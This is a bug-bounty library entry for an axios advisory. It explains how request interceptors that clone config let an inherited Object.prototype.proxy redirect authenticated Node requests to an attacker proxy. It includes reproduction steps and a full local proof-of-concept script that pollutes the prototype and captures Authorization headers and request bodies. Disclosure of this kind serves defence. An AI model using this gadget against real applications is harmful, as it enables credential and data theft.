# Axios Node HTTP adapter can use an inherited proxy after interceptor config cloning

Axios Node HTTP adapter reads inherited Object.prototype.proxy after an interceptor clones config to a plain object, routing authenticated requests through an attacker proxy.

- Payout: Research
- Severity: high
- Program: Axios
- Found by (vendor credit): thesmartshadow
- Found by: thesmartshadow
- Disclosed: 2026-07-20
- CVE: CVE-2026-67320
- Write-up quality: 8/10
- Original: https://github.com/advisories/GHSA-gcfj-64vw-6mp9
- Library page: https://bugbountylibrary.com/r/ghsa%3AGHSA-gcfj-64vw-6mp9
- Tags: area:oss domain:oss impact:data-leak kind:research platform:ghsa sev:high tech:nodejs technique:incomplete-fix technique:source-review vuln:info-disclosure vuln:prototype-pollution

**Target:** Node.js HTTP adapter in axios npm package
**Root cause:** mergeConfig creates a null-prototype config, but request interceptors can return a plain-object clone ({...config}), and dispatchRequest passes it to the adapter without re-hardening; the Node HTTP adapter reads config.proxy through the prototype chain.
**Steps:**
1. Set `Object.prototype.proxy = {protocol:'http', host:'127.0.0.1', port: proxyPort}`.
2. Create axios instance and add interceptor: `api.interceptors.request.use((config) => ({...config, headers:{...config.headers,'X-App':'demo'}}))`.
3. Send request with `Authorization: Bearer EXPLICIT_SECRET` or `auth:{username,password}` to a target URL.
4. Observe request goes to attacker proxy instead of target; proxy captures absolute URL, Authorization header, Host, and body.
**How found:** Researcher noticed axios hardened merged config with null prototype but interceptors run after merge and common immutable patterns re-materialize config as a normal object; then traced dispatchRequest and http adapter to find config.proxy read through prototype chain.
**Exploitation:** Attacker first achieves prototype pollution elsewhere in the Node process to set Object.prototype.proxy to an attacker-controlled proxy. When the application uses an axios request interceptor that returns a plain object copy of config, axios dispatches that object without re-hardening, and the Node HTTP adapter reads the inherited proxy, routing the request (including credentials and body) through the attacker proxy. The proxy can also return its own response.
**Insight:** When a library hardens config by using null-prototype objects, check every point where user-controlled callbacks (interceptors, middleware) can replace that object with a plain clone; the hardening is lost and prototype-chain reads become gadgets again.

## Proof of concept (copied exactly from the original report)

**PoC polluting Object.prototype.proxy and interceptor clone**

```
import axios from './index.js';
import http from 'node:http';

for (const key of [
  'HTTP_PROXY', 'HTTPS_PROXY', 'ALL_PROXY',
  'http_proxy', 'https_proxy', 'all_proxy',
  'NO_PROXY', 'no_proxy'
]) {
  delete process.env[key];
}

const listen = (handler) => new Promise((resolve, reject) => {
  const server = http.createServer(handler);
  server.once('error', reject);
  server.listen(0, '127.0.0.1', () => resolve(server));
});

const close = (server) => new Promise((resolve) => server.close(resolve));

const targetHits = [];
const proxyHits = [];

const target = await listen((req, res) => {
  targetHits.push(req.url);
  res.end('target');
});

const proxy = await listen((req, res) => {
  let body = '';
  req.on('data', (chunk) => body += chunk);
  req.on('end', () => {
    proxyHits.push({
      url: req.url,
      authorization: req.headers.authorization,
      host: req.headers.host,
      body
    });
    res.setHeader('content-type', 'application/json');
    res.end('{"server":"proxy"}');
  });
});

Object.prototype.proxy = {
  protocol: 'http',
  host: '127.0.0.1',
  port: proxy.address().port
};

const api = axios.create();

api.interceptors.request.use((config) => ({
  ...config,
  headers: {
    ...config.headers,
    'X-App': 'demo'
  }
}));

try {
  const url = `http://127.0.0.1:${target.address().port}/api/secret`;

  const res = await api.post(
    url,
    {secret: 'request-body-secret'},
    {headers: {Authorization: 'Bearer EXPLICIT_SECRET'}}
  );

  console.log({
    response: res.data,
    targetHits,
    proxyHits,
    finalConfigHasOwnProxy: Object.hasOwn(res.config, 'proxy')
  });
} finally {
  delete Object.prototype.proxy;
  await close(target);
  await close(proxy);
}
```

